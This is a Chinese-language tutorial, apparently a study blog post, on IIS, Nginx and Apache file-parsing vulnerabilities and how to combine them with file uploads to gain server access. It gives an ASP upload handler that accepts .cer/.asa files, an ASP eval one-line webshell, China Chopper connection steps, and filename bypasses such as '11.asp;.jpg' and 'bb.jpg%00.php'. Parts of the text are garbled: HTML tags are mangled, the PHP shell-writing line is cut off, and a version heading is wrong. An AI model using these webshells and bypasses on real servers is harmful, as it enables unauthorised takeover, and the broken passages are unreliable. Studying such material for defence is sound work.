解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件
等当做可执行的脚本,文件等
执行。
该漏洞一般配合服务器的文件上传功能使用,以获取服务器的权限。
IIS 5.x/6.0解析漏洞
IIS 7.0/IIS 7.5/
Nginx <0.8.3畸形解析漏洞
Nginx <8.03 空字节代码执行漏洞
Apache解析漏洞
首先,需要找到符合要求的IIS版本,版本号在这区间的IIS,asa、cer 、cdx文件会被当做asp文件执行。
所以当他禁止上传asp文件时,可以上传asa、cer 、cdx文件
<html>
<head>
<title>ASP无组件上传类title>
<meta http-equiv="content-Type" content="text/html; charset=gb2312">
head>
<body>
<form action="aa.asp" method="post" enctype="multipart/form-data" onSubmit="return (this.upFile.value!='');">
<input type="file" name="upFile"/>
<input type="submit" value="上传文件"/>
form>
body>
html>
<%@ language="javascript"%>
<%
var self = Request.serverVariables("SCRIPT_NAME");
if (Request.serverVariables("REQUEST_METHOD")=="POST")
{
var oo = new uploadFile();
oo.path = ""; //存放路径,为空表示当前路径,默认为uploadFile
oo.named = "file"; //命名方式,date表示用日期来命名,file表示用文件名本身,默认为file
oo.ext = "jpg|gif|cer|asa"; //允许上传的扩展名,all表示都允许,默认为all
oo.over = true; //当存在相同文件名时是否覆盖,默认为false
oo.size = 1*1024*1024; //最大字节数限制,默认为1G
oo.upload();
Response.write(' ');
}
//ASP无组件上传类
function uploadFile()
{
var bLen = Request.totalBytes;
var bText = Request.binaryRead(bLen);
var oo = Server.createObject("ADODB.Stream");
oo.mode = 3;
this.path = "uploadFile";
this.named = "file";
this.ext = "jpg|gif|cer|asa";
this.over = false;
this.size = 1*1024*1024*1024; //1GB
//文件上传
this.upload = function ()
{
var o = this.getInfo();
if (o.size> this.size)
{
alert("文件过大,不能上传!");
return;
}
var f = this.getFileName();
var ext = f.replace(/^.+\./,"");
if (this.ext!="all"&&!new RegExp(this.ext.replace(/,/g," |"),"ig").test(ext))
{
alert("目前暂不支持扩展名为 "+ext+" 的文件上传!");
return;
}
if (this.named=="date")
{
f = new Date().toLocaleString().replace(/\D/g,"") + "." + ext;
}
oo.open();
oo.type = 1;
oo.write(o.bin);
this.path = this.path.replace(/[^\/\\]$/,"$&/");
var fso = Server.createObject("Scripting.FileSystemObject");
if(this.path!=""&&!fso.folderExists(Server.mapPath(this.path)))
{
fso.createFolder(Server.mapPath(this.path));
}
try
{
oo.saveToFile(Server.mapPath(this.path+f),this.over?2:1);
alert("上传成功!");
}
catch(e)
{
alert("对不起,此文件已存在!");
}
oo.close();
delete(oo);
}
//获取二进制和文件字节数
this.getInfo = function ()
{
oo.open();
oo.type=1;
oo.write(bText);
oo.position = 0;
oo.type=2;
oo.charset="unicode";
var gbCode=escape(oo.readText()).replace(/%u(..)(..)/g,"%$2%$1");
var sPos=gbCode.indexOf("%0D%0A%0D%0A")+12;
var sLength=bLen-(gbCode.substring(0,gbCode.indexOf("%0D%0A")).length/3)-sPos/3-6;
oo.close();
oo.open();
oo.type = 1;
oo.write(bText);
oo.position=sPos/3;
var bFile=oo.read(sLength);
oo.close();
return { bin:bFile, size:sLength };
}
//获取文件名
this.getFileName = function ()
{
oo.open();
oo.type = 2;
oo.writeText(bText);
oo.position = 0;
oo.charset = "gb2312";
var fileName = oo.readText().match(/filename=\"(.+?)\"/i)[1].split("\\").slice(-1)[0];
oo.close();
return fileName;
}
function alert(msg)
{
Response.write(' ');
}
}
%>
<html>
<head>
<title> ASP无组件上传类 </title>
<meta http-equiv="content-Type" content="text/html; charset=gb2312">
</head>
<body>
<form action=" <%=self%> " method="post" enctype="multipart/form-data" onSubmit="return (this.upFile.value!='');">
<input type="file" name="upFile"/>
<input type="submit" value="上传文件"/>
</form>
</body>
</html>
<%eval request("a")%>
这里上传一个cer文件
上传成功后用菜刀连接,这里脚本类型选择ASP(eval)
IIS 6.0 有两个单独的解析漏洞
/xx.asp/xx.jpg
在网站下名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都会被IIS当作asp文件来解析并执行。
例如有个目录是 abc.asp
,那么/abc.asp/1.jpg
会被当作asp文件来执行。
这个漏洞很难遇到:
首先,得有个网站管理员取个名字为xx.asp
的文件夹;然后,你还得有往这个文件夹上传文件的权限
11.asp;.jpg
在IIS6.0下,分号后面的内容不被解析,也就是说
11.asp;.jpg
会被服务器当做11.asp
执行
所以如果禁止上传asp文件时,可以上传一个11.asp;.jpg 文件
同样,利用前面的文件,开始上传
然后利用菜刀连接
在默认Fast-CGI开启
状况下,上传一个名字为bb.jpg的文件,然后访问bb.jpg/.php,在这个目录下就会生成一句话木马 shell.php
fputs(fopen('shell.php','w'),'');?>
然后访问bb.jpg文件时,在后面加上./php
,这个文件就会被当做php文件执行
因为没找到合适版本的IIS,nginx,所以这里就不演示了
影响版:0.5.*
,0.6.*
, 0.7 <= 0.7.65
, 0.8 <= 0.8.37
同样适用上面的图片马bb.jpg
在后面加上%00.php时,bb.jpg会被当做php文件执行。
127.0.0.1/bb.jpg%00.php
虽然看起来和00截断一样,都是%00
,但是作用不一样,至于两者有什么关联,我暂时还没搞明白
说到这个漏洞,就得说两个消息
好消息:因为apache官方不承认这是一个漏洞,所以每个版本的apache都会有这个漏洞出现
坏消息:开发员大都知道且认为这是个漏洞,所以会有一定的防御措施
详情可以参考这篇博客
https://blog.csdn.net/weixin_45663905/article/details/107560774
apache其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php
, 这时只要文件名里包含.php就会以php文件来执行—— 即使文件名是 test.php.jpg ,jpg在右边,也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg
即使扩展名是 jpg,一样会以 php 方式执行。